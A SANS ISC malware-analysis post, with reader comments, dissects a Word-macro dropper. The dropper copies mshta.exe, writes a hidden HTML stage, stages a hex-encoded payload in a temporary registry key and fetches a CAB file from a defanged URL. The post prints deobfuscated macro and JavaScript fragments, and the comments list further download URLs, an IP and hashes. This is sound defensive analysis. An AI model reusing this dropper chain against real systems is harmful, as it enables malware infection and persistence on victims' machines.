Malicious JavaScript Dropping Payload in the Registry
When we speak about "fileless" malware, it means that the malware does not use the standard filesystem to store temporary files or payloads. But they need to write data somewhere in the system for persistence or during the infection phase. If the filesystem is not used, the classic way to store data is to use the registry. Here is an example of a malicious JavaScript code that uses a temporary registry key to drop its payload (but it also drops files in a classic way).
The malware was delivered via a Microsoft Word document:
remnux@remnux:/malwarezoo/20200327$ oledump.py information_03.26.doc A: word/vbaProject.bin A1: 576 'PROJECT' A2: 104 'PROJECTwm' A3: m 1127 'VBA/ThisDocument' A4: 3798 'VBA/_VBA_PROJECT' A5: 2201 'VBA/__SRP_0' A6: 206 'VBA/__SRP_1' A7: 348 'VBA/__SRP_2' A8: 106 'VBA/__SRP_3' A9: M 2319 'VBA/a4bLF' A10: M 2026 'VBA/acpqnS' A11: M 2457 'VBA/ajzdY' A12: 913 'VBA/dir' A13: m 1171 'VBA/f' A14: 97 'f/\x01CompObj' A15: 284 'f/\x03VBFrame' A16: 86 'f/f' A17: 37940 'f/o'
Several macros are present and are easy to decode:
Sub AutoOpen() main End Sub
And:
Sub main() ajKTO = StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", "")) akYREj = StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) aXlTxC = StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) Call VBA.FileCopy(ajKTO, akYREj) Set axe16 = f.i atk8Jw aXlTxC, axe16.value Shell akYREj & " " & aXlTxC End Sub
The three lines containing StrReverse() are easy to deobfuscate, you just have to remove the '$' characters and reverse the string:
StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$\$2$3$m$e$t$s$y$s$\$s$w$o$d$n$i$w$\$:$c$", "$", "")) = "c:\windows\system32\mshta.exe"
StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = "c:\programdata\microsoft.com"
StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$\$a$t$a$d$m$a$r$g$o$r$p$\$:$c$", "$", "")) = c:\programdata\index.html
The function atk8Jw() dumps the payload:
Public Function atk8Jw(ar9a1t, afn6Jc) Open ar9a1t For Output As #1 Print #1, afn6Jc Close #1 End Function
The file index.html is created based on the content of a hidden form in the Word document (called 'f').
The second stage is executed via mshta.exe. This piece of code uses the registry to dump the next stage:
<p id="content">6672613771647572613771646e726137 ...(very long string)... 2613771642972613771643b7261377164</p> ... var aYASdB = "HKEY_CURRENT_USER\\Software\\soft\\key"; ... aB9lM.RegWrite(aYASdB, a0KxU.innerHTML, "REG_SZ"); ... aUayK = aB9lM.RegRead(aYASdB) ... aB9lM.RegDelete(aYASdB)
The content is the 'id' HTML element is hex-encoded and obfuscated with garbage characters. Once decoded, we have a new bunch of obfuscated code.
It fetches the next stage from this URL:
hxxp://his3t35rif0krjkn[.]com/kundru/targen.php?l=swep4.cab
Unfortunately, the file was already removed and I was not able to continue the analyzis...
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Frankfurt | Dec 9th - Dec 14th 2024 |
Comments
Anonymous
Mar 27th 2020
4 years ago
Open Source Intelligence shows various version of this campaign which appear to be linked together by attachment names, and/or the name of the CAB file which is downloaded.
185.195.24.194 (a Russian IP) with various domains/URIs hosting apparantly similar files.
http://grumnoud[.]com/kundru/targen.php?l=zoak4.cab -- Site is down.
http://grumnoud[.]com/kundru/targen.php?l=zoak6.cab -- Site is down.
http://xolzrorth[.]com/kundru/targen.php?l=zoak2.cab -- Sample found in app.any.run and VirusTotal
- https://www.virustotal.com/gui/file/d43e07be3c04511fdd8fe7fd1fa0276565de76efdcb4aca22db611beb7415de3/detection
References
https://app.any.run/tasks/38cca765-ab6a-4d8e-b912-bce1d7ceecaa/
https://otx.alienvault.com/indicator/file/c57553c8a63e08e7af73a958aa830626cd460329e1ad11d15a2f0d6aa4fed3e5
Anonymous
Mar 30th 2020
4 years ago